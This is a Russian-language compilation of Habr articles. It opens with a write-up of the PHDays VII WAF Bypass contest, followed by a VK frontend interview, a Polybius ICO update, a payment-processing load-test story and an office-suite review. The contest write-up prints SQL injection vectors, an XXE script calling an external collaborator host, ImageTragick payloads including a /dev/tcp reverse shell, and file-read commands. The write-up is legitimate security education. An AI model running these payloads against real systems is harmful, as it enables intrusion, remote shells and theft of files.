Разбор заданий конкурса WAF Bypass на PHDays VII

Международный форум по информационной безопасности PHDays вновь стал площадкой для конкурса WAF Bypass. Цель конкурса — обойти защитные механизмы PT Application Firewall, чтобы добыть специальные флаги через уязвимости в подготовленных веб-приложениях. Каждое из заданий подразумевало заложенные нами варианты обхода PT Application Firewall, что, в свою очередь, стало возможным за счет отключения ряда функций безопасности. В этом году мы также решили опробовать прототип межсетевого экрана систем управления базами данных (DBFW), который анализировал SQL-трафик от приложений до баз данных (БД).

Задание 1 (JJ)

350 очков

В задании предлагалось обойти алгоритм выявления SQL-инъекций. На сервере приложений был установлен PHP-модуль, который заменяет оригинальную функцию mysql_query() на собственную. В ней значения HTTP-параметров (GET, POST, Cookie) добавляются в начало SQL-запроса в виде комментария.

После того, как SQL-запрос из приложения отправляется к базе данных с помощью подменной функции он перехватывается DBFW. Тот извлекает значения HTTP-параметров из комментария и ищет их в SQL-запросе. Если подстрока, соответствующая значению параметра найдена, то она заменяется на константу. Затем производится токенизация двух запросов: до замены и после. Если количество полученных токенов не совпадает, то это свидетельствует об SQL-инъекции. Известно, что основным признаком атаки типа инъекция является изменение дерева разбора. Если количество токенов изменилось, то и дерево разбора изменилось, а значит произошла инъекция. Логику этого алгоритма мы раскрыли на докладе «Database Firewall from Scratch», где мы поделились опытом исследования механизмов безопасности DBFW. Так что те, кто посетил доклад, могли понять главный недостаток такого подхода: делать вывод об инъекции на основе только количества токенов в общем случае нельзя, так как дерево разбора можно изменить так, что количество токенов в оригинальном и анализируемом запросах будут совпадать. Например, атакующий может дополнить свой вектор комментариями таким образом, что количество токенов в запросах будет совпадать, но сами токены будут другими. Правильный способ — это построение и сравнение абстрактных синтаксических деревьев (AST) двух запросов. Таким образом, чтобы пройти задание необходимо было составить вектор, который по количеству токенов совпадал с оригинальным запросом без инъекции:

/post.php?p=-1 union select 1,2,(select flag from flags order by id,1),4 -- -

Участники же нашли недостаток в нашем ANTLR-парсере для MySQL. Дело в том, что MySQL поддерживает условные комментарии с помощью конструкции /*! … */. Все, что находится внутри такого комментария, будет выполнено MySQL, но другие базы данных такую конструкцию проигнорируют.

http://task1.waf-bypass.phdays.com/post.php?p=(select /*!50718 ST_LatFromGeoHash((SELECT table_name FROm information_schema.tables LIMIT 1)) */) and true and true and true order by id desc limit 10 -- (Арсений Шароглазов)

http://task1.waf-bypass.phdays.com/post.php?p=/*!1111111 union select 1 id,flag,1,1 from flags where 1*/ (Сергей Бобров)

Задание 2 (KM)

250 очков

Во втором задании участники имели доступ к приложению, которое позволяло добавлять заметки. При этом в параметре p передавался полный SQL-запрос в hex:

http://task2.waf-bypass.phdays.com/notes.php?q=53454c454354207469746c652c20626f64792046524f4d206e6f746573204c494d4954203235 (SELECT title, body FROM notes LIMIT 25 )

На языке ALFAScript мы задали политику атрибутного управления доступом (ABAC), разрешающую пользователям выполнение только INSERT, UPDATE и SELECT лишь для таблицы notes. Таким образом, попытки доступа к таблице flags блокировались. Но мы заложили обход, разрешив выполнение оператора CREATE. Предполагаемое нами решение заключалось в создании события, которое запишет флаг в таблицу notes:

CREATE EVENT `new_event` ON SCHEDULE EVERY 60 SECOND STARTS CURRENT_TIMESTAMP ON COMPLETION NOT PRESERVE ENABLE COMMENT '' DO insert into notes (title, body) VALUES ((select flag from flags limit 1), 2)

Кроме CREATE EVENT можно было воспользоваться CREATE TABLE и получить флаг в сообщении MySQL, принудительно вызвав ошибку (решение Арсения Шароглазова):

CREATE TABLE ggg AS SELECT ST_LongFromGeoHash (flag) FROM flags;

Сергей Бобров решил альтернативным способом, использовав конструкцию ON DUPLICATE KEY UPDATE, которая позволяет выполнить UPDATE внутри INSERT одним запросом:

INSERT INTO notes SELECT 1,2,3 FROM notes,flags as a ON DUPLICATE KEY UPDATE body = flag

Задание 3 (AG)

300 очков

Для выполнения задания участникам было необходимо обнаружить и проэксплуатировать уязвимость в одной из старых версий демонстрационного приложения Adobe BlazeDS. Особенность приложения в том, что оно использует для коммуникации с сервером протокол AMF (Action Message Format). Сам AMF представляет собой сериализованную структуру с типизацией полей. Одним из типов является XML (0x0b), неправильный парсинг которого привел к ряду уязвимостей в библиотеках для работы с AMF, в том числе и в BlazeDS.

WAF имел встроенный парсер AMF, однако для задания был отключен парсинг внешних объектов Flex: AcknowledgeMessageExt (алиас DSK), CommandMessageExt (DSC), AsyncMessageExt (DSA). В то же время, BlazeDS мог распарсить такие сообщения и найти в них XML, что в итоге приводило к уязвимости к атаке XXE.

Составить такой запрос можно с помощью библиотеки pyamf:

import pyamf import httplib import uuid from pyamf.flex.messaging import RemotingMessage, AcknowledgeMessageExt from pyamf.remoting import Envelope, Request, decode hostname = 'task3.waf-bypass.phdays.com' port = 80 path = '/samples/messagebroker/amf' request = AcknowledgeMessageExt(     operation="findEmployeesByName",     destination="runtime-employee-ro",     messageId=None,     body=[         '<!DOCTYPE x [ '         '<!ENTITY foo SYSTEM "http://dta58o8o6fljzkvl52h8458lacg54u.burpcollaborator.net"> ]>'         '<x>External entity 1: &foo;</x>'],     clientId=None,     headers={'DSId': str(uuid.uuid4()).upper(),              'DSEndpoint': 'my-amf'} ) envelope = Envelope(amfVersion=3) envelope["/%d" % 1] = Request(u'null', [request]) message = pyamf.remoting.encode(envelope) conn = httplib.HTTPConnection(hostname, port) conn.request('POST', path, message.getvalue(),              headers={'Content-Type': 'application/x-amf'}) resp = conn.getresponse() data = resp.read() content = decode(data) print content

BlazeDS был настроен на работу через внутренний прозрачный прокси, который дописывал заголовок с флагом ко всем исходящим запросам.

Задание 4 (KP)

200 очков

Для задания была использована версия веб-приложения Pasteboard, уязвимая к атаке Imagetragick. WAF был настроен особым образом, чтобы фильтровались только следующие ключевые слова:
url, caption:, label:, ephemeral:, msl:

Однако были доступны менее распространенные векторы. Например, враппер text (в отличие от label перед именем файла не требуется символ "@".):

push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'text:/etc/passwd'
pop graphic-context

На выходе получалась картинка с содержимым файла /etc/passwd:

Арсений Шароглазов воспользовался вектором с image over:

push graphic-context
encoding "UTF-8"
viewbox 0 0 1 1
affine 1 0 0 1 0 0
push graphic-context
image Over 0,0 1,1 '|/bin/sh -i > /dev/tcp/ip/80 0<&1 2>&1'
pop graphic-context
pop graphic-context

Сергей Бобров нашел в исходниках imagemagick враппер pango:, который ранее не упоминался в известных эксплойтах.

push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'pango:@/etc/passwd'
pop graphic-context

Задание 5 (GM)

250 очков

Задание представляло собой форму поиска, уязвимую к SQL-инъекции. Таблица с результатом поиска содержала поле publickey. Задача состояла в том, чтобы через SQL-инъекцию вывести значение поля privatekey. Использовалась следующая политика ABAC, заданная на ALFAScript:

namespace example {
export policy Main {
target clause action == "select"
apply denyUnlessPermit

rule r1 {
permit
target clause resource.schema.id == "information_schema"
}

rule r2 {
permit
target clause resource.schema.id == "task5"
and resource.table.id == "users"
and resource.column.id == "publickey"
}

rule r3 {
permit
target clause resource.schema.id == "task5"
and resource.table.id == "users"
and resource.column.id == "name"
}
}
}

Здесь необходимо обратить внимание на ключевое слово denyUnlessPermit. В рамках языка XACML для описания политик атрибутного управления доступом существует несколько видов алгоритмов комбинирования решений. Использование алгоритма denyUnlessPermit обозначает, что запрос будет разрешен, если и только если хотя бы одно из правил позволяет реализовать доступ пользователя к ресурсу. DBFW не знает реальную структуру СУБД, поэтому когда он видит запрос типа SELECT a,b from c,d, он, в отличии от СУБД, не знает, где находится, например, столбец a: в таблице с или d. В случае таких запросов DBFW вынужден проверять возможность доступа пользователя ко всем вариантам ресурсов. В данном примере к столбцам c.a, c.b, d.a и d.b. Поэтому если построить запрос, который будет содержать хотя бы один разрешенный столбец, то с помощью выборки из двух таблиц, мы можем извлечь privatekey:

Petrov' union select name, privatekey from information_schema.columns,users where name = 'Petrov' --

Задание 6 (ES)

300 очков

Веб-приложение для задания имело две функции: загрузку CSV-файлов со списком контактов и форму поиска по контактам, в которой содержалась SQL-инъекция. В качестве защитного механизма использовался алгоритм DBFW под названием «Dejector». Впервые данный способ выявления SQL-инъекций был описан в работе Hansen и Patterson «Guns and Butter: Towards Formal Axioms of Input Validation”. Суть его в том, что по множеству известных запросов веб-приложения (например, такое множество запросов может быть получено статическими анализаторами исходного кода) строится подграмматика языка SQL. По этой грамматике генерируется парсер. Если запрос распознается парсером, то запрос принадлежит языку, иначе запрос не принадлежит языку, а значит является поддельным.

Для задания мы подготовили грамматику, которая описывала допустимые запросы. Возможность загрузки файлов в CSV давала понять, что пользователь MySQL мог работать с файлами. Другой хинт содержался в ошибке: использовался mysqli_multi_query(), а значит работали стекированные запросы. Обычный LOAD_FILE() был запрещен грамматикой, однако был доступен LOAD DATA INFILE:

'; load data infile '/etc/passwd' into table users character set 'utf8

Результаты

Первое и второе места заняли специалисты «Лаборатории Касперского» — Сергей Бобров и Арсений Шароглазов. Третье место досталось студенту Тюменского государственного университета Андрею Семакину. Поздравляем победителей!

Арсений Реутов (@Raz0r), Дмитрий Нагибин, Игорь Каныгин (@akamajoris), Денис Колегов, Николай Ткаченко, Иван Худяшов
ссылка на оригинал статьи https://habrahabr.ru/post/330002/

«Время жизни вкладки может быть почти бесконечным»: Тимофей Чаптыков о JS-разработке в ВКонтакте

Этой весной в хабраблоге ВКонтакте написали «Мы готовы начать говорить о том, что находится за фасадом продукта». Мы не стали упускать возможность — и в преддверии JavaScript-конференции HolyJS, где разработчик VK Тимофей Чаптыков выступит с докладом, задали ему несколько вопросов.

— Чем именно вы занимаетесь в ВК?

— Преимущественно я занимаюсь разработкой раздела сообщений. Но у нас маленькая команда, и зона ответственности каждого разработчика достаточно широкая. И чем дольше человек здесь работает, тем она шире.

— До работы в ВК вы жили в Новосибирске — из-за этой работы и переехали? Недавно новосибирский Java-разработчик рассказывал нам, что ему и в Новосибирске отлично живётся, а что в городе с JavaScript и фронтендом — много ли вакансий, развито ли местное JS-сообщество?

— За прошлый год я побывал в Питере четыре раза. В какой-то момент решил, что проще переехать. Ну и отказаться от предложения поработать над одним из самых больших, сложных и массовых проектов с крайне взыскательной аудиторией было сложно.

В Новосибирске достаточно много крупных IT-компаний, у которых есть вакансии в веб-разработке: Яндекс, 2ГИС, JetBrains, СберТех, Tinkoff.ru. Так что я бы сказал, что в Новосибирске есть ребята, которые умеют делать сложный масштабируемый фронтэнд. Есть несколько локальных конференций и митапов, раз в год проводится одна из крупнейших в России IT-конференций CodeFest.

— У ВК почти 100-миллионная месячная аудитория. Как такая посещаемость влияет на разработку вообще и JS/фронтенд в частности?

— Сейчас все изменения сначала выпускаются для небольшого процента пользователей. По этим пользователям мы собираем отдельную статистику. Она помогает нам оценить, повлияет ли релиз на нагрузку.

Иногда этого недостаточно. Некоторые фичи мы выкатываем только по ночам, если допускаем возможность, что релиз может повлиять на производительность и работу под нагрузкой. Ночью по московскому времени нагрузка ниже, и если мы увидим аномалии на графиках, то успеем откатить изменения или выпустить хотфиксы до того, как наступит пиковая нагрузка и появится риск сбоя сервиса.

При нашей нагрузке мы не можем позволить себе простые подходы к обновлению статики. Мы не можем себе позволить объединить все скрипты в один файл и обновлять его при каждом деплое. Если все пользователи придут одновременно за файлом, выдержать нагрузку будет сложно. Один лишний запрос, который сделают 100 миллионов пользователей, может привести к катастрофическим последствиям. Поэтому мы версионируем статику, подгружаем динамически (страница будет подгружать ту версию статики, которая с ней совместима), разбиваем на небольшие куски по разделам и возможностям сайта.

Некоторые изменения мы вообще не можем вносить напрямую. Мы же не можем выключить сайт на несколько дней, пока проводится миграция базы с миллиардами записей. =)

Когда у тебя 100 миллионов активных пользователей в месяц, теория вероятности начинает работать против тебя. Количество экспериментов такое, что невозможные события становятся ежедневной рутиной. Если баг воспроизводится один раз на миллион, это значит, что этот баг будет воспроизводиться много раз ежедневно. Надо прорабатывать детально даже совсем невероятные сценарии.

На фронтенде сказывается то, что иногда кейсы использования ВКонтакте сильно отличаются от других сайтов. Например, время жизни вкладки с сообщениями может быть почти бесконечным: вы открываете вкладку, и она живёт месяцами. Это заставляет нас больше думать о расходе памяти.

Иногда жёсткие требования по производительности возникают от большого объёма кода. Например, сборку пришлось организовать не совсем тривиально и мейнстримно.

Я думаю, нам чаще, чем большинству разработчиков, приходится думать о структурах данных, в том числе на клиенте. На нашей кухне чаще услышишь разговоры об алгоритмах и структурах данных, чем о новых библиотеках и методологиях.

На сайте мы почти не используем внешние зависимости. Технически каждый раздел на клиенте — это отдельное JS-приложение. Из общих ресурсов — система для кодсплиттинга и версионирования статики, работа с мультиязычностью, утилиты для работы с DOM, запросами на сервер, небольшое общее хранилище, некоторые переиспользуемые решения для пользовательского интерфейса.

— Ещё давно, когда Node.js был малоизвестным нишевым решением, его популяризатором в России стал разработчик ВК Олег Илларионов. А используют ли Node.js в ВК сейчас, когда это уже более чем мейнстрим?

— В большинстве случаев мы по объективным причинам не можем использовать Node.js на бэкенде — слишком медленно на наших объёмах. Поэтому мы, как и вся индустрия, используем Node.js для сборки фронтенда. А там мы используем традиционный набор инструментов: Gulp, Webpack, Babel.

— Ранее ВКонтакте выкладывали в опенсорс собственные KPHP-наработки — а в случае с JS у соцсети есть какие-то значительные внутренние «велосипеды», которые теоретически могут когда-то оказаться в опенсорсе, или там в основном пользуетесь готовыми решениями?

— У нас в продакшене используется очень мало готовых решений. В package.json в основном репозитории объявлены только 4 зависимости. Две из них — полифиллы, две — библиотеки для записи и кодирования звука в mp3.

Значительных внутренних велосипедов много. Но часто наши решения узкоспециализированные, они не будут востребованы в «массовом» секторе разработки. Например, инфраструктура вокруг KPHP имеет достаточно высокий порог входа, его использование накладывает определённые ограничения. А проектов, на которых можно было бы ощутить значительную пользу от его внедрения, не так много.

Тем не менее, я рассчитываю, что открытого программного обеспечения в области фронтенда у нас будет больше.

— JS-мир часто критикуют с позиций «в современном фронтенде, чтобы написать “Hello world”, нужно 360 МБ зависимостей». А при работе в ВК это приносит неудобства, или в таком масштабном проекте это незначимый фактор по сравнению с другими?

— Ну, это точно не главная проблема, которую нам предстоит решить =) У нас 140 МБ зависимостей в node_modules. На мой взгляд, один из самых серьёзных технических вызовов — устранение технического долга и развитие инфраструктуры для разработки и тестирования. В наших реалиях мы должны это делать без снижения темпов разработки новых фич. И всё той же командой в несколько десятков разработчиков на все наши продукты.

— Ваш доклад на HolyJS называется «React со скоростью света: не совсем обычный серверный рендеринг». А не мешает ли вам использовать React то, что он создан в Facebook? 🙂

— Приходите на доклад, там я расскажу, что итоговое решение не основано на React =)

Я бы рассматривал React скорее как термин, обозначающий подход, чем как название конкретной библиотеки. Говоря про React, мы обычно имеем в виду Virtual DOM, декларативный рендеринг, компонентный подход, JSX.

В большинстве случаев React можно с минимальными усилиями заменить на другую библиотеку, которая использует те же принципы. А ещё найти какие-нибудь бенчмарки, которые покажут, что выбранное решение при определённых обстоятельствах работает быстрее. =)

Мне нравится Preact — крошечная библиотека в 4 КБ, которая предоставляет все базовые возможности, к которым мы привыкли в React.

Непосредственно React сейчас не используется на сайте ВКонтакте, но есть в нескольких наших проектах. Например, VK Messenger — это десктопное приложение на Electron, написанное на React.

— Спасибо. Напоследок хочется уточнить из-за вашего ироничного твита про счётчик уведомлений: а можете для всех, кто с этим не сталкивается профессионально, кратко объяснить, почему это сложная задача?

— Счётчик новых уведомлений — одно число, которое выводится в результате работы огромного количества систем. Причём обычно это сложные и запутанные многоуровневые системы с кэшированием, асинхронным выполнением задач, очередями и вычислениями, которые проводятся на огромном количестве серверов. В результате сбой любой части любой из этих систем может привести к тому, что пользователь увидит неправильное значение на счётчике.

Мне кажется, иронично, что сложность систем в IT постоянно привлекает к себе моё внимание поломанными красными счётчиками у некоторых приложений на моём телефоне.
ссылка на оригинал статьи https://habrahabr.ru/post/330000/

Первый день ICO «Полибиуса»: собрано более $3 млн, бонус первых суток продлён на 24 часа

ICO Polybius, стартовавшее вчера в 15 часов по Москве, несмотря на перебои в работе сайта, за первые сутки преодолело сразу два первых этапа сборов, перевалив за $3 млн общего результата и на всех парах движется к третьему уровню — $6 млн.

Мы можем только предполагать, сколько бы мы собрали, если бы не обвал сети, но нет худа без добра: проблемы с доступностью сайта решены, и те, кто ещё сомневался или просто не успел принять участие в ICO в первые сутки, не говоря уже о тех, кто не смог это сделать по техническим причинам, получили второй шанс купить купить инвест-токены Polybius с максимальным бонусом в 25% — мы продлили срок действия бонуса до 48 часов, т.е. 15:00 2 июня по Москве.

После этого начисление бонусов будет действовать по старой схеме:

Напомним, что для финансовых учреждений в Европе действует три типа лицензий. Уровень платёжного учреждения и электронных денег уже пройден, а для открытия полноценного банка требуется не менее $6 млн (55% от которых, на момент публикации статьи, уже собрано).

Следующие майлстоуны уже касаются развития финансовой экосистемы «Полибиуса», включая технологию цифровой идентификации личности Digital Pass и финансового маркетплейса для малого и среднего бизнеса.

Следить за ходом ICO можно на главной Polybius.io или в личном кабинете инвестора, где выводятся данные во всех подробностях:

Мы ещё напишем отдельный разбор технических проблем, с которыми столкнулись в первые сутки ICO — это будет полезно тем, кто решит в дальнейшем пойти по нашим стопам.
ссылка на оригинал статьи https://geektimes.ru/post/289669/

Как нагрузочное тестирование процессинга обошлось нам в €157 000 и почему никого не уволили

Однажды наша команда решилась на эксперимент по расстрелу боевой платежной системы реальными деньгами. Это позволило бы понять, сколько сможем выдержать мы вместе с нашими партнерами. Об этом неоднозначном опыте и хочу рассказать.

К исследованию побудили два фактора: появление у нас собственного процессинга карт и предстоящая крупная распродажа одного из популярных в РФ онлайн-ритейлеров.

Идея выглядела вполне бюджетной – примерно на 125 000 р. (по 1 р. на операцию), но кто же знал, как все обернется. Особая перчинка в том, что вся информация об эксперименте долгое время была закрыта и впервые публикуется в открытом источнике.

Как оказалось, мы не одиноки – ни один из наших банков-партнеров еще полгода назад не знал своего настоящего «потолка» и решал проблемы по мере поступления. По сути, они просто добавляли новые мощности прямо во время распродаж, хотя и не всегда успешно.

Будущие жертвы

Система карточных платежей (Mastercard в нашем случае) соединяет между собой множество внешних организаций, у каждой из которых свой зоопарк систем. Под нагрузку карточных платежей попадают практически все они, поэтому сразу посмотрим на всех участников.

Ниже представлена упрощенная схема взаимодействия нескольких организаций для обеспечения возможности оплатить какой-то товар картой через сервис Яндекс.Денег:

Все ключевые участники эксперимента на одной схеме. Яндекс.Танк – это отличный инструмент Яндекса для нагрузочного тестирования и комфортного анализа производительности.

Яндекс.Деньги принимают данные пластиковой карты у пользователя (в случае с тестом передается уже заполненный шаблон формы), а дальше происходит следующее:

  1. Заполненная форма с данными карты передается на серверы фронтенда, которые ее обрабатывают и передают данные в бэкенд, а в дальнейшем – в отвечающее за работу со счетами ядро.

  2. Платежный сервис блокирует сумму операции на счете пользователя и параллельно отправляет информацию об операции в банк-эквайер, который далее передает сведения в Mastercard и НСПК.

  3. Спустя сутки НСПК присылает файл блокировок в банк-эквайер и Яндекс.Деньги, после чего список блокировок разбирается в наших микросервисах и происходит списание денег со счета пользователя.

При масштабных онлайн-распродажах таких оплат может быть сотни в секунду, поэтому достанется всем звеньям платежной цепочки. Чтобы ни у кого не было претензий, мы заранее договорились с Mastercard, НСПК и парой дружественных банков о том, что в определенные даты будут «боевые стрельбы» и что их сотрудники будут во всеоружии на местах.

Забегая вперед, после проведения первого эксперимента из 17 000 операций оказалось, что банки используют горизонтальную модель масштабирования платежных шлюзов, добавляя новые мощности по мере необходимости. В обычной жизни они успевают отреагировать на постепенный рост нагрузки, но в стрессовом режиме этого оказалось недостаточно.

Тут есть один тонкий момент. Дело в том, что все банки и Mastercard зарабатывают на выставляемых друг другу комиссиях за переводы. Сделать такую комиссию нулевой для тестов было практически невозможно, но удалось договориться со всеми о совокупной цифре 0,7% по отдельному коду категории оплаты MCC.

Кстати о комиссии

Величина комиссии являлась минимально возможной согласованной цифрой на момент проведения эксперимента с точки зрения всех принимающих участие сторон.

Запомните этот момент – в конце статьи будет с чем сравнить.

А не расстрелять ли нам процессинг

При тестировании производительности платежных сервисов неизбежно возникает ряд нюансов и ограничений, которые вынудили нас выйти с экспериментом на продакшн:

  1. Производительность ключевых микросервисов (например, связанных с шифрованием карточных данных) ограничена лицензией.

  2. Расположение микросервисов тоже ограничено лицензией. То есть сервер с купленной лицензией нельзя даже перенести в тестовую среду.

  3. Никто из наших банков-партнеров ранее ничего подобного не проводил и свою емкость не исследовал, поэтому просить мудрого совета было не у кого. Здесь выручило тесное сотрудничество с Mastercard и крупицы знаний из личного опыта отдельных людей.

В качестве подготовительных действий, мы также отключили дополнительную защиту платежа 3DSecure (SMS-коды), сняли лимиты на число и сумму операций на каждом этапе платежа, а также договорились со службами безопасности участников, чтобы они не били тревогу.

Тем важнее становился проект для Яндекс.Денег, так как кроме практической пользы можно было сделать нечто полезное для всей российской банковской отрасли – результаты и методика исследования могут пригодиться не только нам. Кроме того, мне лично всегда было любопытно, как поведет себя наш процессинг, если его как следует «расстрелять».

Радиус поражения

Как вы понимаете, никто не согласовал бы команде даже потенциальную остановку сервиса. Даже на несколько секунд.

Поэтому расстрел предстояло сделать бережным и прогнозируемым:

  • В качестве нагрузочной операции выбрали пополнение счета кошелька с банковской карты, которая привязана к другому кошельку. Эта достаточно простая операция влечет за собой массу транзакций между Яндекс.Деньгами, банком-эквайром, платежной системой и НСПК. Что и требуется для эксперимента.

  • Участвующий в эксперименте банк предоставил отдельный терминал для проведения платежей с оговоренным кодом MCC. На этом этапе каждая тестовая операция начинает стоить реальных денег, так как к MCC привязана определенная комиссия.

  • Команда исследователей проводила нагрузочные стрельбы в несколько подходов, поддерживая оперативную связь с банками и собственными коллегами по всей системе, чтобы можно было приостановить поток по первому же «горшочек, не вари!».

MCC код (Merchant Category Code) — представляет собой 4-значный номер, присваиваемый платежными системами VISA, Mastercard и др. для классификации деятельности торговой точки в операции оплаты по банковским картам. Для владельца такой торговой точки важно получить как можно более выгодный MCC и платить меньшую комиссию платежной системе.

Все эти меры гарантировали хороший уровень отказоустойчивости платежного сервиса для пользователей даже при пиковых нагрузках.

Общая схема эксперимента: многопоточное пополнение кошельков с банковских карт других кошельков.

Для эксперимента мы согласовали уровень подаваемой интенсивности в 20 RpS. Для достижения большей производительности можно добавлять новые модули, но в схеме эксперимента присутствовал только один.

Яндекс.Деньги сотрудничают с несколькими банками-партнерами, но на масштабный эксперимент с реальными деньгами согласился только один из них.

На графике виден рост производительности на модуле процессинга при росте входной интенсивности, с провалом в центре как раз в момент проседания производительности нашего процессинга.

Кроме того, тесты вызвали некоторые проблемы в нашем бэкенде и ядре системы, создав массу блокировок по карточным счетам. Блокировки – это нормальная ситуация для любой карточной операции, так как перед реальным списанием деньги просто блокируются на счету пользователя и запись об этом попадает в общий файл Mastercard.

Такой файл каждый банк-эквайер ежедневно получает от Mastercard каждый раз в одно и то же время по согласованию и далее его разбирает. Так вот, после экспериментов файл с обычным размером 20 МБ увеличился в 5 раз и стал весить 104 МБ. На отработку такого списка потребовалось больше ресурсов, то есть пришлось переписать отдельные модули микросервисов, которые обрабатывали файл блокировок.

Что ж, мы немного оптимизировали запросы к БД, снизив нагрузку на процессор, и выпустили больше карт для снижения числа блокировок на одну карту.

Продолжаем обстрел

Вторая волна эксперимента проходила уже более ровно и спокойно, несмотря на более чем вдвое возросшее число обрабатываемых платежей.

График уже более равномерный, что говорит об успешности принятых мер. RpS равняется 20, так как это максимальное согласованное для эксперимента значение.

После окончания потока в 24 778 операций объем блокировок для каждой карты продолжил расти, что приводило к замедлениям при проведении платежей: перед каждым списанием процессингу приходилось считывать заново весь список блокировок конкретной карты. Решение — увеличить число карт с 50 до 10 050, что позволило для каждой сократить список блокировок с 200 до 1 при аналогичном количестве операций.

Следующая волна тестов принесла 50 000 операций, а списания подгрузились в базу процессинга за 40 минут, после чего нужно было их еще и обработать. Файл блокировок продолжал угрожающе расти с каждым экспериментом. А ведь ключевая БД процессинга работает на Oracle с ограничением в 4 ГБ на файл. До предела еще далеко, но становилось некомфортно.

В ходе отдельного эксперимента мы оценили производительность обработки списаний. За сутки провели тесты с интенсивностью 15 блокировок в секунду и последующим потоком списаний. Файл со списаниям пришел к нам в 18:00 следующего дня с задержкой в 1,5 часа, и наш процессинг обработал все 1 135 000 записей за 2 часа 10 минут. Для контраста, обычный разбор среднестатистического списка блокировок занимает десяток минут.

Проблемы возникли также с производительностью антифрод-машины и фронтенд-балансировщика запросов. Дело было в том, что балансировщик не проверял логическую доступность сервиса на узле, ограничиваясь только его присутствием в сети.

Кроме того, массированный обстрел повсеместно привел к росту размера логов, что дополнительно проверило на прочность нашу систему сбора логов на EHK (Elasticsearch/Heka/Kibana), о которой недавно рассказывали.

Кульминацией стал эксперимент на двое суток с суммарным числом операций 1 400 000, во второй день которого одновременно происходили две вещи:

  • Проходили тестовые стрельбы с платежами.

  • Разбирался файл блокировок предыдущего дня объемом 3,1 ГБ.

Две эти операции нагрузили процессинг по полной в рамках существующих лицензионных ограничений 20 RpS.

Боевые стрельбы закончились через дня на отметке 3 157 800 проведенных операций. Однако как следует отпраздновать успех и полюбоваться цифрами нам не дали.

Привет от Mastercard

Нам выставили счет в €157 890 в качестве комиссии за проведенные операции, что немного не вписывалось в оговоренные 0,7% с 125 000 р.

Полученный от банка-эквайринга терминал проводил тестовые операции не с тем кодом MCC, на который мы договаривались.

А вот и причина безобразия – терминал эквайринга, через который проходили все тестовые стрельбы, имел неправильный код MCC. Поэтому операции проводились не по оговоренной ставке. Грубо говоря, за операцию на 1 р. мы платили 4 р. комиссии. Узнать об этой проблеме в ходе эксперимента не представлялось возможным, так как Mastercard выставил счет через неделю. А банк-эквайер думал, что у него все правильно настроено.

Недоразумение обошлось нам в 2 месяца напряженной работы по ручному урегулированию вопроса с Mastercard. Фактически мы подняли логи всего эксперимента, по которому выполнялся поиск и изменение операций в Mastercard. Лишнее подтверждение, что без подробных логов никуда.

Несмотря на давность эксперимента и незначительные финансовые убытки от его проведения, опыт однозначно положительный. Более того, подобные боевые стрельбы стали регулярными, а полученные данные позволи серьезно увеличить производительность карточных операций.

Конечно же, все персонажи и числа в статье были творчески переосмыслены из соображений безопасности, но фантазировали мы не слишком бурно и сохранили соотношения полученных по эксперименту данных.

ссылка на оригинал статьи https://habrahabr.ru/post/329926/

Thinkfree Office NEO: недорогой MS Office без излишеств

Название корейского офисного пакета большинству отечественных пользователей незнакомо, но есть немало причин узнать о нем больше. Хотя бы потому что Thinkfree Office NEO прекрасно работает с файлами Microsoft Office и документами PDF, имеет аналогичный ленточный интерфейс и при этом стоит в два раза дешевле американского ПО.

Что мешает сменить офисное ПО

Несмотря на то, что на рынке представлено достаточно много офисных пакетов (как платных, так и бесплатных), большинству компаний отказаться от привычного, но достаточно дорогого Microsoft Office непросто. Пожалуй, можно выделить несколько главных проблем, которые сдерживают компании от смены офисного пакета.

Другой интерфейс/необходимость обучения сотрудников

В то время как MS Office в течение уже многих лет использует «ленточный» интерфейс, в большинстве альтернативных пакетов все еще применяются устаревшие и гораздо менее наглядные выпадающие меню. Для того чтобы найти соответствие всем привычным функциям, нужно потратить немало времени и средств на обучение персонала.

Форматы и совместимость

Альтернативные офисные пакеты предлагают в качестве основного формата работы с документами собственный формат или же открытый, но все еще недостаточно распространенный ODF. Сотрудникам необходимо конвертировать имеющиеся документы MS Office в другие форматы, что создает неудобства при работе как внутри компании, так и при обмене информацией с партнерами. Кроме этого, при конвертировании теряются некоторые данные, в частности, нумерация, стили, иные элементы оформления.

Недостаточная функциональность

Многие программы содержат лишь основные инструменты для работы с текстом, таблицами и презентациями. Поэтому привычная работа может легко застопориться, если вдруг нужно отредактировать PDF, добавить аудиозапись к презентации или скопировать формат ячейки в таблице.

Thinkfree Office NEO: на родине распробовали

Корейская компания Hancom пока что недостаточно известна российским пользователям. Однако на родине этого производителя офисных приложений знают очень хорошо. Сегодня более четверти офисного ПО на корейском рынке – это продукция Hancom. С апреля текущего года офисный пакет от Hancom официально можно приобрести в России. Корейцы оптимистичны и настроены решительно, и это оправдано: у их продукта действительно немало сильных сторон.

Лицензия: недорого и навсегда

В пакете Thinkfree Office NEO нет ничего лишнего, только три основных  приложения:

  • Word – текстовый редактор
  • Cell — программа для работы с электронными таблицами
  • Show – средство для создания презентаций

Цена корейского офисного пакета заметно ниже, чем американского аналога. Так, версия для домашних пользователей стоит в России 2490 рублей, то есть в два раза меньше, чем аналогичный по условиям пакет MS Office Home and Student. При этом, подобно этому пакету от Microsoft, программы ThinkFree Office продаются с бессрочной лицензией. Для многих пользователей это гораздо удобнее так популярных нынче подписок, постоянно требующих продления.  

Интерфейс и локализация: не нужно привыкать

Интерфейс всех приложений очень похож на MS Office. Есть привычная «лента» с вкладками, которую, впрочем, легко можно скрыть, увеличив тем самым рабочую область. И названия вкладок, и набор инструментов на каждой из них максимально приближены к аналогичным в MS Office.

Под лентой располагается аналог панели быстрого доступа, на которую вынесены самые востребованные команды. Также предусмотрена возможность создания пользовательских панелей с любыми удобными наборами команд.

Корейцы неплохо подготовились к выходу на российский рынок, поэтому пакет полностью русифицирован. Большинство названий команд повторяют аналогичные в MS Office. Переведены не только они, но и всплывающие подсказки, которые разъясняют назначение некоторых функций. А вот справочная система Thinkfree Office NEO пока что доступна только на английском языке и лишь в онлайн-режиме.

Поддержка форматов: подмены пакета никто не заметит

Самая важная особенность Thinkfree Office NEO – отличная работа с привычными форматами MS Office. Документы, созданные в Microsoft Word, Excel и PowerPoint, без ошибок открываются в аналогичных приложениях корейского офиса. Дальше их можно редактировать и сохранять без всяких потерь и конвертаций. Иными словами, если вы работаете с Thinkfree Office, то партнеры, которым вы высылаете файлы, могут вообще не догадываться, что вы отказались от продуктов Microsoft.

